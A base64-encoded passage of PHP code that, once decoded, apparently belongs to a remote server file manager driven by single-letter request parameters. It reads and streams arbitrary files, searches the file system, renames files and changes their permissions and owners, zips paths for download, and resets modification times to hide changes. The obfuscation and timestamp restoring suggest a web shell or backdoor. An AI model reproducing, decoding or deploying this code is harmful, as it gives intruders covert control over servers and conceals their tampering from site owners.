AgICB9CgogICAgICAgICAgICBpZiAoUEhQX1ZFUlNJT04gPj0gJzUnKToKICAgICAgICAgICAgICAgIGlmIChQSFBfVkVSU0lPTiA+PSAnNS4xJykgewogICAgICAgICAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR2ID0gbmV3IFNwbEZpbGVPYmplY3QoJHAsICdyYicpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBjYXRjaCAoRXhjZXB0aW9uICRlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR2ID0gRkFMU0U7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGlmICgkdikgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWlzX2ludCgkdi0+ZnBhc3N0aHJ1KCkpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCEkdi0+ZW9mKCkpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAkdi0+ZmdldHMoKTsKICAgICAgICAgICAgICAgICAgICAgICAgdW5zZXQoJHYpOwogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gVFJVRTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIGVuZGlmOwogICAgICAgICAgICBpZiAoUEhQX1ZFUlNJT04gPj0gJzQuMycpIHsKICAgICAgICAgICAgICAgICR2ID0gZmlsZV9nZXRfY29udGVudHMoJHApOwogICAgICAgICAgICAgICAgaWYgKGlzX3N0cmluZygkdikpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICR2OwogICAgICAgICAgICAgICAgICAgIHJldHVybiBUUlVFOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgICR2ID0gZmlsZSgkcCk7CiAgICAgICAgICAgIGlmIChpc19hcnJheSgkdikpIHsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR2IGFzICRpKQogICAgICAgICAgICAgICAgICAgIGVjaG8gJGk7CiAgICAgICAgICAgICAgICByZXR1cm4gVFJVRTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgcmV0dXJuIEZBTFNFOwogICAgICAgIH0KICAgICAgICBpZiAoaXNzZXQoJERbJ3MnXSkpIHsKICAgICAgICAgICAgJGEgPSBhcnJheSgpOwogICAgICAgICAgICAkZSA9ICd7ImUiOiJZb3UgaGF2ZSBzeW50YXggZXJyb3IgaW4gJXMgcGF0dGVybiJ9JzsKICAgICAgICAgICAgaWYgKGlzc2V0KCREWyduJ10pKSB7CiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJERbJ3cnXSkpIHsKICAgICAgICAgICAgICAgICAgICAkciA9ICcjXic7CiAgICAgICAgICAgICAgICAgICAgJGMgPSAnJzsKICAgICAgICAgICAgICAgICAgICAkcCA9ICcnOwogICAgICAgICAgICAgICAgICAgICRxID0gMDsKICAgICAgICAgICAgICAgICAgICAkYiA9IEZBTFNFOwogICAgICAgICAgICAgICAgICAgIGZvciAoJGkgPSAwLCAkbCA9IHN0cmxlbigkRFsnbiddKTsgJGkgPCAkbDsgKyskaSkgewogICAgICAgICAgICAgICAgICAgICAgICAkYyA9ICREWyduJ11bJGldOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHEgPiAwICYmICRjICE9PSAnPycpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyIC49ICcuJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkcSA+IDEpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHIgLj0gJ3snIC4gJHEgLiAnfSc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcSA9IDA7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgc3dpdGNoICgkYykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAnKic6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRjICE9PSAkcCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHIgLj0gJy4qJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgJz8nOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICsrJHE7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICdcXCc6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRpICsgMSA+PSAkbCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0RpZShzcHJpbnRmKCRlLCAnbmFtZScpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkciAuPSAkYyAuICREWyduJ11bKyskaV07CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICdbJzoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICArKyRiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyIC49ICRjOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAnXSc6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLS0kYjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkciAuPSAkYzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgJy0nOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyIC49ICRiID4gMCA/ICRjIDogJ1xcLSc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICchJzoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkciAuPSAkcCA9PT0gJ1snID8gJ14nIDogJ1xcISc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyIC49IGFkZGNzbGFzaGVzKCRjLCAnLiteJCgpe309PD58OiMnKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAkcCA9ICRjOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBpZiAoJHEgPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRyIC49ICcuJzsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRxID4gMSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyIC49ICd7JyAuICRxIC4gJ30nOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkciAuPSAnJCMnOwogICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkRFsnaSddKSkKICAgICAgICAgICAgICAgICAgICAgICAgJHIgLj0gJ2knOwogICAgICAgICAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCRyLCAnJykgPT09IEZBTFNFKQogICAgICAgICAgICAgICAgICAgICAgICBzRGllKHNwcmludGYoJGUsICduYW1lJykpOwogICAgICAgICAgICAgICAgICAgICRhWydyJ10gPSAkcjsKICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc3NldCgkRFsnaSddKSkKICAgICAgICAgICAgICAgICAgICAkYVsnaSddID0gJERbJ24nXTsKICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAkYVsnbiddID0gJERbJ24nXTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoaXNzZXQoJERbJ3QnXSkpIHsKICAgICAgICAgICAgICAgIGlmIChpc3NldCgkRFsneCddKSkgewogICAgICAgICAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCcjJyAuICREWyd4J10gLiAnIycsICcnKSA9PT0gRkFMU0UpCiAgICAgICAgICAgICAgICAgICAgICAgIHNEaWUoc3ByaW50ZigkZSwgJ3RleHQnKSk7CiAgICAgICAgICAgICAgICAgICAgJGFbJ3gnXSA9ICcjJyAuICREWyd0J10gLiAnIyc7CiAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCREWyd2J10pKQogICAgICAgICAgICAgICAgICAgICAgICAkYVsneCddIC49ICdpJzsKICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc3NldCgkRFsndiddKSkKICAgICAgICAgICAgICAgICAgICAkYVsndiddID0gJERbJ3QnXTsKICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAkYVsndCddID0gJERbJ3QnXTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkaSA9IGFycmF5KAogICAgICAgICAgICAgICAgJ2wnLAogICAgICAgICAgICAgICAgJ2QnLAogICAgICAgICAgICAgICAgJ3knLAogICAgICAgICAgICAgICAgJ3AnLAogICAgICAgICAgICAgICAgJ3UnCiAgICAgICAgICAgICk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRpIGFzICRrKQogICAgICAgICAgICAgICAgaWYgKGlzc2V0KCREWyRrXSkpCiAgICAgICAgICAgICAgICAgICAgJGFbJGtdID0gKGludCkgJERbJGtdOwogICAgICAgICAgICAkaSA9IGFycmF5KAogICAgICAgICAgICAgICAgJ28nLAogICAgICAgICAgICAgICAgJ2cnLAogICAgICAgICAgICAgICAgJ3onCiAgICAgICAgICAgICk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRpIGFzICRrKQogICAgICAgICAgICAgICAgaWYgKGlzc2V0KCREWyRrXSkpIHsKICAgICAgICAgICAgICAgICAgICAkcyA9IGV4cGxvZGUoJywnLCAkRFska10pOwogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRzIGFzICRuID0+ICR2KQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCR2LCAnLScpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdiAgICAgICAgID0gZXhwbG9kZSgnLScsICR2LCAyKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhWyRrXVskbl0gPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAoaW50KSAkdlswXSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAoaW50KSAkdlsxXQogICAgICAgICAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzd2l0Y2ggKHN1YnN0cih0cmltKCR2KSwgMCwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICc+JzoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFbJGtdWyRuXVswXSA9IChpbnQpIHN1YnN0cih0cmltKCR2KSwgMSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgJzwnOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYVska11bJG5dWzFdID0gKGludCkgc3Vic3RyKHRyaW0oJHYpLCAxKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFbJGtdWyRuXSA9IChpbnQpICR2OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgJGkgPSBhcnJheSgKICAgICAgICAgICAgICAgICdlJywKICAgICAgICAgICAgICAgICdtJwogICAgICAgICAgICApOwogICAgICAgICAgICBmb3JlYWNoICgkaSBhcyAkaykKICAgICAgICAgICAgICAgIGlmIChpc3NldCgkRFska10pKSB7CiAgICAgICAgICAgICAgICAgICAgJHMgPSBleHBsb2RlKCcsJywgJERbJGtdKTsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkcyBhcyAkbiA9PiAkdikKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHN0cnBvcygnIC0gJywgJHYpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdiAgICAgICAgID0gZXhwbG9kZSgnIC0gJywgJHYsIDIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFbJGtdWyRuXSA9IGFycmF5KAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cnRvdGltZSh0cmltKCR2WzBdKSAuICdVVEMnKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdHJ0b3RpbWUodHJpbSgkdlsxXSkgLiAnVVRDJykKICAgICAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgc3dpdGNoIChzdWJzdHIodHJpbSgkdiksIDAsIDEpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAnPic6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhWyRrXVskbl1bMF0gPSBzdHJ0b3RpbWUoc3Vic3RyKHRyaW0oJHYpLCAxKSAuICdVVEMnKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAnPCc6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhWyRrXVskbl1bMV0gPSBzdHJ0b3RpbWUoc3Vic3RyKHRyaW0oJHYpLCAxKSAuICdVVEMnKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFbJGtdWyRuXSA9IHN0cnRvdGltZSh0cmltKCR2KSAuICdVVEMnKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICRzID0gbmV3IFNlYXJjaGVyKCRhKTsKICAgICAgICAgICAgZm9yZWFjaCAoJERbJ3MnXSBhcyAkdikKICAgICAgICAgICAgICAgICRzLT5zZWFyY2goJHYpOwogICAgICAgICAgICAkcy0+ZmluaXNoKCk7CiAgICAgICAgfQogICAgICAgIGlmIChpc3NldCgkRFsnZyddKSkgewogICAgICAgICAgICBpZiAoJERbJ2cnXSA9PT0gJ34nIHx8ICREWydnJ10gPT09ICcnKQogICAgICAgICAgICAgICAgJERbJ2cnXSA9IHNlbGZQYXRoKCk7CiAgICAgICAgICAgICRpID0gbmV3IEZpbGVJbmZvKCREWydnJ10pOwogICAgICAgICAgICBpZiAoc3Vic3RyKCREWydnJ10sIC0xKSA9PT0gRFNDIHx8ICRpLT5pc0RpcigpKSB7CiAgICAgICAgICAgICAgICBlY2hvICd7InAiOic7CiAgICAgICAgICAgICAgICBpZiAoc3Vic3RyKCREWydnJ10sIC0xKSAhPT0gRFNDKQogICAgICAgICAgICAgICAgICAgICREWydnJ10gLj0gRFNDOwogICAgICAgICAgICAgICAganNvbkVjaG8oJERbJ2cnXSk7CiAgICAgICAgICAgICAgICBlY2hvICcsIm0iOicsICRpLT5nZXRNb2RlKCksICcsImYiOlsnOwogICAgICAgICAgICAgICAgZGlyUmVhZCgkaS0+Z2V0UGF0aE5hbWUoKSwgJ291dEZpbGVJbmZvJyk7CiAgICAgICAgICAgICAgICBlY2hvICddJzsKICAgICAgICAgICAgICAgIG91dEZpbGVJbmZvKE5VTEwsIFRSVUUpOwogICAgICAgICAgICAgICAgc0RpZSgnfScpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gIlx4MDFceDAyIjsKICAgICAgICAgICAgJGIgPSBvdXRGaWxlKCREWydnJ10pOwogICAgICAgICAgICBlY2hvICJceDAzXHgxRSI7CiAgICAgICAgICAgIGlmICgkYikgewogICAgICAgICAgICAgICAgZWNobyAiXHgwNlsiOwogICAgICAgICAgICAgICAganNvbkVjaG8oJERbJ2cnXSk7CiAgICAgICAgICAgICAgICBlY2hvICcsJywgJGktPmdldE1vZGUoKSwgJ10nOwogICAgICAgICAgICB9IGVsc2UKICAgICAgICAgICAgICAgIGVjaG8gIlx4MTUiLCAkRFsnZyddOwogICAgICAgICAgICBzRGllKCJceDE3XHgwNFx4MTAiKTsKICAgICAgICB9CiAgICAgICAgaWYgKGlzc2V0KCREWydpJ10pKSB7CiAgICAgICAgICAgIGpzb25GaWxlSW5mbyhuZXcgRmlsZUluZm8oJERbJ2knXSksIFRSVUUpOwogICAgICAgICAgICBzRGllKCk7CiAgICAgICAgfQogICAgICAgIGlmIChpc3NldCgkRFsnaCddKSkgewogICAgICAgICAgICBlY2hvICd7JzsKICAgICAgICAgICAgJGEgPSBhcnJheSgpOwogICAgICAgICAgICAkdCA9IGFycmF5KCk7CiAgICAgICAgICAgICRlID0gYXJyYXkoKTsKICAgICAgICAgICAgJGIgPSBOVUxMOwogICAgICAgICAgICAkbSA9IGNvdW50KCREWydoJ10pID4gMTsKICAgICAgICAgICAgaWYgKCRtICYmIGlzc2V0KCREWydwJ10pICYmIHN1YnN0cigkRFsncCddLCAtMSkgIT09IERTQykKICAgICAgICAgICAgICAgICREWydwJ10gLj0gRFNDOwogICAgICAgICAgICBpZiAoaXNzZXQoJERbJ3QnXSkpCiAgICAgICAgICAgICAgICAkRFsndCddID0gc3RydG90aW1lKCREWyd0J10gLiAnVVRDJyk7CiAgICAgICAgICAgIGlmIChpc3NldCgkRFsnZSddKSkKICAgICAgICAgICAgICAgICREWydlJ10gPSBpbnR2YWwoJERbJ2UnXSwgOCk7CiAgICAgICAgICAgIGlmIChpc3NldCgkRFsnciddKSAmJiBpc0ludCgkRFsnciddKSkKICAgICAgICAgICAgICAgICREWydyJ10gPSAoaW50KSAkRFsnciddOwogICAgICAgICAgICBpZiAoaXNzZXQoJERbJ28nXSkgJiYgaXNJbnQoJERbJ28nXSkpCiAgICAgICAgICAgICAgICAkRFsnbyddID0gKGludCkgJERbJ28nXTsKICAgICAgICAgICAgc29ydCgkRFsnaCddKTsKICAgICAgICAgICAgZm9yZWFjaCAoJERbJ2gnXSBhcyAkdikgewogICAgICAgICAgICAgICAgaWYgKGlzc2V0KCREWydwJ10pKSB7CiAgICAgICAgICAgICAgICAgICAgcGFyc2VQYXRoKCR2LCAkcywgJG4pOwogICAgICAgICAgICAgICAgICAgIGlmICgkbSkgewogICAgICAgICAgICAgICAgICAgICAgICAkZCA9ICREWydwJ107CiAgICAgICAgICAgICAgICAgICAgICAgICRwID0gJGQgLiAkbjsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAkZCA9IGZpbGVQYXRoKCREWydwJ10pOwogICAgICAgICAgICAgICAgICAgICAgICAkcCA9ICREWydwJ107CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRjID0gYXJyYXkoKTsKICAgICAgICAgICAgICAgICAgICBpZiAoIWlzc2V0KCR0WyRzXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGkgPSBuZXcgRmlsZUluZm8oJHMpOwogICAgICAgICAgICAgICAgICAgICAgICAkaSA9ICRpLT5nZXRNVGltZSgpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGkpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY1skc10gPSAkaTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCFpc3NldCgkdFskZF0pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRpID0gbmV3IEZpbGVJbmZvKCRkKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGkgPSAkaS0+Z2V0TVRpbWUoKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNbJGRdID0gJGk7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICRpID0gJHRbJGRdOwogICAgICAgICAgICAgICAgICAgIGlmICghaXNzZXQoJERbJ3QnXSkgJiYgJGkpCiAgICAgICAgICAgICAgICAgICAgICAgICRjWyRwXSA9ICRpOwogICAgICAgICAgICAgICAgICAgIGlmIChyZW5hbWUoJHYsICRwKSkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHMgIT09ICRiKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRiID09PSBOVUxMID8gJyJyIjpbJyA6ICddfSwnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAneyJwIjonOwogICAgICAgICAgICAgICAgICAgICAgICAgICAganNvbkVjaG8oJHMpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnLCJmIjpbJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRiID0gJHM7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnLCc7CiAgICAgICAgICAgICAgICAgICAgICAgIGpzb25FY2hvKCRuKTsKICAgICAgICAgICAgICAgICAgICAgICAgJHQgKz0gJGM7CiAgICAgICAgICAgICAgICAgICAgICAgICR2ICAgICA9ICRwOwogICAgICAgICAgICAgICAgICAgICAgICAkYVskcF0gPSAxOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAkZVskdl1bXSA9ICdwYXRoJzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmIChpc3NldCgkRFsndCddKSkgewogICAgICAgICAgICAgICAgICAgIGlmICh0b3VjaCgkdiwgJERbJ3QnXSkpCiAgICAgICAgICAgICAgICAgICAgICAgICRhWyR2XSA9IDE7CiAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAkZVskdl1bXSA9ICdtb2RpZmllZCBkYXRlJzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmIChpc3NldCgkRFsnZSddKSkgewogICAgICAgICAgICAgICAgICAgIGlmIChjaG1vZCgkdiwgJERbJ2UnXSkpCiAgICAgICAgICAgICAgICAgICAgICAgICRhWyR2XSA9IDE7CiAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAkZVskdl1bXSA9ICdwZXJtaXNzaW9uJzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmIChpc3NldCgkRFsnciddKSkgewogICAgICAgICAgICAgICAgICAgIGlmIChjaGdycCgkdiwgJERbJ3InXSkpCiAgICAgICAgICAgICAgICAgICAgICAgICRhWyR2XSA9IDE7CiAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAkZVskdl1bXSA9ICdncm91cCc7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJERbJ28nXSkpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoY2hvd24oJHYsICREWydvJ10pKQogICAgICAgICAgICAgICAgICAgICAgICAkYVskdl0gPSAxOwogICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgJGVbJHZdW10gPSAnb3duZXInOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgICRiID0gJGIgIT09IE5VTEw7CiAgICAgICAgICAgIGlmICgkYikKICAgICAgICAgICAgICAgIGVjaG8gJ119XSc7CiAgICAgICAgICAgIGlmIChjb3VudCgkYSkgPiAwKSB7CiAgICAgICAgICAgICAgICBpZiAoJGIpCiAgICAgICAgICAgICAgICAgICAgZWNobyAnLCc7CiAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgJGIgPSBUUlVFOwogICAgICAgICAgICAgICAgZWNobyAnImMiOlt7InAiOic7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkdCBhcyAkayA9PiAkdikKICAgICAgICAgICAgICAgICAgICB0b3VjaCgkaywgJHYpOwogICAgICAgICAgICAgICAgY2xlYXJzdGF0Y2FjaGUoKTsKICAgICAgICAgICAgICAgIGtzb3J0KCRhKTsKICAgICAgICAgICAgICAgICRwID0gTlVMTDsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRhIGFzICR2ID0+ICRrKSB7CiAgICAgICAgICAgICAgICAgICAgJGsgPSBmaWxlUGF0aCgkdik7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRrICE9PSAkcCkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHAgIT09IE5VTEwpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICddfSx7InAiOic7CiAgICAgICAgICAgICAgICAgICAgICAgIGpzb25FY2hvKCRrKTsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnLCJmIjpbJzsKICAgICAgICAgICAgICAgICAgICAgICAgJHAgPSAkazsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgb3V0RmlsZUluZm8oJHYpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWNobyAnXX1dJzsKICAgICAgICAgICAgICAgIG91dEZpbGVJbmZvKE5VTEwsIFRSVUUpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkZSkgewogICAgICAgICAgICAgICAgaWYgKCRiKQogICAgICAgICAgICAgICAgICAgIGVjaG8gJywnOwogICAgICAgICAgICAgICAgJGIgPSBGQUxTRTsKICAgICAgICAgICAgICAgIGVjaG8gJyJlIjpbJzsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRlIGFzICRrID0+ICR2KSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRiKQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICcsJzsKICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICRiID0gVFJVRTsKICAgICAgICAgICAgICAgICAgICBqc29uRWNobyhpbXBsb2RlKCcsICcsICR2KSAuICcgZm9yICcgLiAkayk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlY2hvICddJzsKICAgICAgICAgICAgfQogICAgICAgICAgICBzRGllKCd9Jyk7CiAgICAgICAgfQogICAgICAgIGlmIChpc3NldCgkRFsnZCddKSkgewogICAgICAgICAgICBpZiAoaXNfYXJyYXkoJERbJ2QnXSkpIHsKICAgICAgICAgICAgICAgICR2ID0gbmV3IFBaSVAoKTsKICAgICAgICAgICAgICAgICR2LT5pbml0KCREWydEQlAnXSk7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkRFsnZCddIGFzICRpKQogICAgICAgICAgICAgICAgICAgICR2LT5hZGRQYXRoKCRpKTsKICAgICAgICAgICAgICAgICR2LT5jbG9zZSgpOwogICAgICAgICAgICB9CiAgICAgICAgICAgICR2ID0gbmV3IEZpbGVJbmZvKCREWydkJ10pOwogICAgICAgICAgICBpZiAoJHYtPmlzRGlyKCkpIHsKICAgICAgICAgICAgICAgICR2ID0gbmV3IFBaSVAoKTsKICAgICAgICAgICAgICAgICR2LT5pbml0KCREWydkJ10pOwogICAgICAgICAgICAgICAgJHYtPmFkZFBhdGgoJERbJ2QnXSk7CiAgICAgICAgICAgICAgICAkdi0+Y2xvc2UoKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAob3V0RmlsZSgkRFsnZCddKSB8fCBkZWZpbmVkKCdDRUQnKSkKICAgICAgICAgICAgICAgIHNEaWUoKTsKICAgICAgICAgICAgaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBpbmxpbmUnKTsKICAgICAgICAgICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb247IGNoYXJzZXQ9JyAuIENTRSk7CiAgICAgICAgICAgIHNEaWUoJzAnKTsKICAgICAgICB9CiAgICAgICAgaWYgKGlzc2V0KCREWyd1J10pKSB7CiAgICAgICAgICAgIGVjaG8gJ3snOwogICAgICAgICAgICAkYSA9IGFycmF5KCk7CiAgICAgICAgICAgICRlID0gYXJyYXkoKTsKICAgICAgICAgICAgJGIgPSBGQUxTRTsKICAgICAgICAgICAgJGsgPSBOVUxMOwogICAgICAgICAgICBzb3J0KCREWyd1J10pOwogICAgICAgICAgICBmb3JlYWNoICgkRFsndSddIGFzICR2KSB7CiAgICAgICAgICAgICAgICBwYXJzZVBhdGgoJHYsICRwLCAkbik7CiAgICAgICAgICAgICAgICBpZiAoIWlzc2V0KCRhWyRwXSkpIHsKICAgICAgICAgICAgICAgICAgICAkdCA9IG5ldyBGaWxlSW5mbygkcCk7CiAgICAgICAgICAgICAgICAgICAgJHQgPSAkdC0+Z2V0TVRpbWUoKTsKICAgICAgICAgICAgICAgIH0gZWxzZQogICAgICAgIC